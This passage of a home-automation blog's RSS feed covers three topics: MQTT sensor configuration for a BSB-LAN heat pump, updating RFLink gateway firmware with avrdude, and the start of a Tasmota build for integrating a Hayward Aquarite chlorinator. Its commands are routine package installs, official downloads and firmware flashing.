&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;mqtt_binary_sensor.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Pompe circuit 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8730&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8730&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_on&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1 - On&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_off&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0 - Off&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;Pompe circuit 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8760&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8760&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_on&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1 - On&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;payload_off&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0 - Off&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;re done : Atlantic heat pump integration in home assistant with BSB-LAN.&lt;/p&gt;</description></item><item><title>Update the RFLink gateway using CLI on your Linux server</title><link>https://www.rfontenay.fr/posts/update-rflink-gateway-on-linux-using-cli/</link><pubDate>Sat, 27 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/update-rflink-gateway-on-linux-using-cli/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/update-rflink-gateway-on-linux-using-cli/arduino-rflink-update-cli.png" alt="Featured image of post Update the RFLink gateway using CLI on your Linux server" /&gt;&lt;p&gt;Update the RFLink gateway using CLI on your Linux server. We&amp;rsquo;ll see how to update a &lt;a class="link" href="https://www.rflink.nl/" target="_blank" rel="noopener"
 &gt;RFLink gateway&lt;/a&gt; running on an &lt;a class="link" href="https://store.arduino.cc/en-fr/products/arduino-mega-2560-rev3" target="_blank" rel="noopener"
 &gt;Arduino Mega&lt;/a&gt; without having to disconnect it from your Linux server (Home Assistant or Domoticz).&lt;/p&gt;
&lt;p&gt;The RFLink Gateway is an open-source platform that acts as a bridge between 433MHz sensors and other smart home systems, such as Home Assistant or Domoticz.&lt;/p&gt;
&lt;p&gt;By using RFLink, users can integrate a wide variety of 433MHz sensors with their home automation ecosystem, enabling seamless control and monitoring of devices like door/window sensors, temperature sensors, and motion detectors. This gateway simplifies the setup process, providing compatibility with many different sensor brands and protocols. RFLink enhances the versatility and interoperability of 433MHz-based devices, contributing to more efficient and connected smart home environments.&lt;/p&gt;
&lt;h2 id="software-on-the-linux-server-to-update-rflink-gateway"&gt;Software on the Linux server to update RFLink Gateway
&lt;/h2&gt;&lt;p&gt;Install Avrdude :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install avrdude
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="files-to-update-rflink-gateway"&gt;Files to update RFLink Gateway
&lt;/h2&gt;&lt;p&gt;You can find the last relase on the &lt;a class="link" href="https://www.rflink.nl/download.php" target="_blank" rel="noopener"
 &gt;website&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download it, with for example the following command :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://www.rflink.nl/RFLink_v1.1_r51.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And uncompress it :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;i@pi:~ $ unzip RFLink_v1.1_r51.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Archive: firmware.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: Readme_Loader.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLinkLoader.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLinkLoader.md5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLinkLoader.sha512
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: Supported Device List.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: Readme_RFLink.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLink Protocol Reference.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLink Schematic.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: avrdude.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: avrdude.exe
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: libusb0.dll
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: FAQ.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: Support.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: License.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;inflating: RFLink.cpp.hex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="update-rflink-gateway-with-cli"&gt;Update RFLink Gateway with CLI
&lt;/h3&gt;&lt;p&gt;Stop domoticz :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service domoticz stop
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then upload it on the Arduino :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo avrdude -v -p atmega2560 -c stk500 -P /dev/ttyACM0 -b 115200 -D -U flash:w:RFLink.cpp.hex:i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: Version 6.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copyright (c) 2007-2014 Joerg Wunsch
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;System wide configuration file is &amp;#34;/etc/avrdude.conf&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User configuration file is &amp;#34;/root/.avrduderc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User configuration file does not exist or is not a regular file, skipping
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using Port : /dev/ttyACM0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using Programmer : stk500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Overriding Baud Rate : 115200
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AVR Part : ATmega2560
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Chip Erase delay : 9000 us
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PAGEL : PD7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BS2 : PA0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RESET disposition : dedicated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RETRY pulse : SCK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;serial program mode : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;parallel program mode : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Timeout : 200
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;StabDelay : 100
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CmdexeDelay : 25
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SyncLoops : 32
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ByteDelay : 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PollIndex : 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PollValue : 0x53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Memory Detail :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Block Poll Page Polled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eeprom 65 10 8 0 no 4096 8 0 9000 9000 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;flash 65 10 256 0 yes 262144 256 1024 4500 4500 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;calibration 0 0 0 0 no 1 0 0 0 0 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Programmer Type : STK500V2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description : Atmel STK500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Programmer Model: AVRISP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Hardware Version: 15
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Firmware Version Master : 2.10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Vtarget : 0.0 V
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SCK period : 0.1 us
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: AVR device initialized and ready to accept instructions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading | ################################################## | 100% 0.01s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: Device signature = 0x1e9801 (probably m2560)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: safemode: hfuse reads as D8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: safemode: efuse reads as FD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: reading input file &amp;#34;RFLink.cpp.hex&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: writing flash (199364 bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing | ################################################## | 100% 35.12s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: 199364 bytes of flash written
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: verifying flash memory against RFLink.cpp.hex:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: load data flash data from input file RFLink.cpp.hex:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: input file RFLink.cpp.hex contains 199364 bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: reading on-chip flash data:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading | ################################################## | 100% 25.53s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: verifying ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: 199364 bytes of flash verified
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: safemode: hfuse reads as D8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: safemode: efuse reads as FD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude: safemode: Fuses OK (E:FD, H:D8, L:FF)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;avrdude done. Thank you.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Start domoticz :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service domoticz start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You’re done : Update the RFLink gateway using CLI on your Linux server.&lt;/p&gt;</description></item><item><title>Hayward Aquarite integration in Home Assistant with Tasmota</title><link>https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/</link><pubDate>Sun, 21 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/home-assistant-aquarite-wifi-tasmota.png" alt="Featured image of post Hayward Aquarite integration in Home Assistant with Tasmota" /&gt;&lt;p&gt;In order to get an Hayward Aquarite integration in Home Assistant with &lt;a class="link" href="https://tasmota.github.io/docs/" target="_blank" rel="noopener"
 &gt;Tasmota&lt;/a&gt; we&amp;rsquo;ll go through several steps including wiring the ESP32 to the Aquarite and then the Home Assistant configuration.&lt;/p&gt;
&lt;h2 id="hardware--esp32"&gt;Hardware : ESP32
&lt;/h2&gt;&lt;h3 id="step-1--prototype"&gt;Step 1 : Prototype
&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll use :&lt;br&gt;
- ESP32 from AZ-Delivery&lt;br&gt;
- RS485 to TTL adapter&lt;/p&gt;
&lt;p&gt;The wiring will be done as follow :&lt;/p&gt;
&lt;p&gt;&lt;img alt="Wiring prototype ESP32 RS485" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="20230828_190207.jpg"&gt;&lt;/p&gt;
&lt;h3 id="step-2--final-version"&gt;Step 2 : Final version
&lt;/h3&gt;&lt;p&gt;For the final version, we&amp;rsquo;ll use an M5stack ESP32 with a RS485 tail, in order to have a clean, small and 10v powered device.&lt;/p&gt;
&lt;p&gt;&lt;img alt="M5Stack ESP32 RS485 tail" class="gallery-image" data-flex-basis="120px" data-flex-grow="50" height="2448" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/atom-RS485-tail.jpg" srcset="https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/atom-RS485-tail_hu_a0ff1879ad1dcfbc.jpg 800w, https://www.rfontenay.fr/posts/hayward-aquarite-integration-home-assistant-tasmota/atom-RS485-tail.jpg 1232w" width="1232"&gt;&lt;/p&gt;
&lt;h2 id="software--tasmota"&gt;Software : Tasmota
&lt;/h2&gt;&lt;p&gt;With the &amp;ldquo;Sugar Valley NeoPool module&amp;rdquo; Tasmota support natively this salt chlorinator.&lt;br&gt;
This option is not compile in the standard version, we&amp;rsquo;ll need to compile Tasmota in order to compile this functionality.&lt;/p&gt;
&lt;h3 id="tasmota-compilation"&gt;Tasmota compilation
&lt;/h3&gt;&lt;p&gt;Install Plateformio :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install python-pip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo pip install -U platformio
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Get Tasmota files :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/arendst/Tasmota.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Before compiling, let&amp;rsquo;s enable the support of the Sugar Valley NeoPool chlorinators :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim tasmota/my_user_config.h 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And modify as follow :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// !!! Remember that your changes GOES AT THE BOTTOM OF THIS FILE right before the last #endif !!!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#ifndef USE_NEOPOOL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define USE_NEOPOOL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#endif &lt;/span&gt;&lt;span style="color:#75715e"&gt;// _USER_CONFIG_OVERRIDE_H_
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then compile and upload :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;platformio run -e tasmota32 --target upload --upload-port /dev/ttyUSB0
